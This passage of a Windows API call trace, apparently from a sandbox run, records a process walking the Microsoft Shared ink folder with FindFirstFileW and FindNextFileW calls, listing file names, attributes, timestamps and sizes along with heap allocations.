ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0071.071] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0071.072] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0071.072] GetProcessHeap () returned 0x550000 [0071.072] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0071.072] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0071.072] GetProcessHeap () returned 0x550000 [0071.072] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0071.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0071.072] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.073] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0071.073] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0071.073] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0071.073] GetProcessHeap () returned 0x550000 [0071.073] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0071.073] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0071.073] GetProcessHeap () returned 0x550000 [0071.073] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0071.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0071.074] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.074] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0071.074] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0071.075] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0071.075] GetProcessHeap () returned 0x550000 [0071.075] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0071.075] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0071.075] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0071.075] GetProcessHeap () returned 0x550000 [0071.075] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0071.075] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0071.462] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.463] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0071.463] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0071.463] GetProcessHeap () returned 0x550000 [0071.463] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0071.587] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0071.587] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0071.588] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0071.588] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0071.588] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0071.588] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0071.589] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0071.589] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0071.589] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0071.589] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0071.589] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0071.589] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0071.590] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0071.590] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0071.590] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0071.591] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0071.591] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0071.591] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0071.591] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0071.592] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0071.592] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0071.592] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0071.592] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0071.592] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0071.593] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0071.593] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0071.593] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0071.593] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, 